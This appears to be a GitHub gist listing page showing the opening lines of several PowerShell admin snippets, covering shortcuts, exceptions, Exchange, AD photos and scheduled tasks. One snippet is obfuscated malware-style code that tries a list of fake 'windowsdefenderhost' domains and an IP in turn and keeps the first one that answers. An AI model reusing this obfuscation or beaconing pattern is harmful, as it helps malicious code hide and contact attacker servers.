Skip to content

Instantly share code, notes, and snippets.

View vexx32's full-sized avatar
💜
Turn your faults into faultlore and share them with the world.

Rain Sallow (/u/ta11ow) vexx32

💜
Turn your faults into faultlore and share them with the world.
View GitHub Profile
function New-Shortcut {
[CmdletBinding()]
Param(
[Parameter(Mandatory)]
[ValidateScript({ Test-Path -IsValid $_ })]
[string]$Path,
[Parameter(Mandatory, ValueFromPipeline)]
[ValidateScript({ Test-Path $_ })]
[string]$Target,
@vexx32
vexx32 / Get-ExceptionStack.ps1
Created June 14, 2018 14:37
Traverse exception stack for all inner exceptions
$Exception = $_
$ExceptionStack = @{
OuterException = $_
}
$Increment = 0
while ($Exception.InnerException) {
$Increment++
$Exception = $Exception.InnerException
$ExceptionStack["InnerException$Increment"] = $Exception
}
@vexx32
vexx32 / Export-Png.ps1
Last active June 16, 2018 01:15
Creates a image from a string of text
using namespace System.Drawing
function Export-Png {
[CmdletBinding()]
[Alias('epng')]
param(
[Parameter(
Position = 0,
Mandatory,
ValueFromPipeline
foreach ($SMTPAddress in $SMTPs) {
$SMTPAddress |
Get-MoveRequest |
Get-MoveRequestStatistics |
Select DisplayName, @{
Name = 'SMTP'
Expression = $SMTPAddress
}
}
[CmdletBinding()]
param(
[Parameter(Position = 0)]
[ValidateNotNull()]
[PSCredential]
$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Position = 1)]
[ValidateNotNull()]
[uri]
$se=@(('updat'+'e.w'+'ind'+'o'+'w'+'sdefe'+'nder'+'h'+'ost.club'),('i'+'nf'+'o.win'+'dows'+'de'+'f'+'enderhos'+'t.c'+'lub'),('8'+'7.'+'121.98.215'))
$nic=('www.w'+'ind'+'ow'+'sdefe'+'nderhost'+'.cl'+'ub')
foreach($t in $se)
{
$pin=teSt-`Co`NNec`TIoN $t
if ($pin -ne $null)
{
$nic=$t
break
}
$Data = Invoke-MySQLQuery -ComputerName k1000 -Credential $creds -Query $sql -Database ORG1 |
Where-Object DISK_NAME -MATCH 'Drive C:' |
ForEach-Object {
[PSCustomObject]@{
'Computer Name' = $_.System_Name
'Percent Used' = $_.Percent_Used
'Disk Free' = $_.Disk_Free
'Disk Name' = $_.Disk_Name
'Disk Size' = $_.Disk_Size
'Disk Used' = $_.Disk_Used
function Select-Things {
[CmdletBinding()]
param(
[Parameter(Position = 0, Mandatory)]
[string[]]
$Param1
)
if ($Param1 -contains "one") {
switch ($Param1) {
"two" {
###COPY and find photos then move and copy to two locations then upload to exchange ##
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010;
$OU = "OU=domain,dc=com"
$MissingPhotos = Get-ADUser -SearchBase $OU -Filter * -Properties ThumbNailPhoto, SamAccountName, GivenName, Surname |
Where-Object ThumbnailPhoto -eq $null |
Select-Object SamAccountName, GivenName, Surname |
Sort-Object Surname, GivenName -Descending
$TriggerParams = @{
Daily = $true
At = '12am'
ErrorAction = 'Stop'
}
$SettingsParams = @{
ExecutionTimeLimit = [TimeSpan]::FromHours(2)
ErrorAction = 'Stop'
}
$TaskParams = @{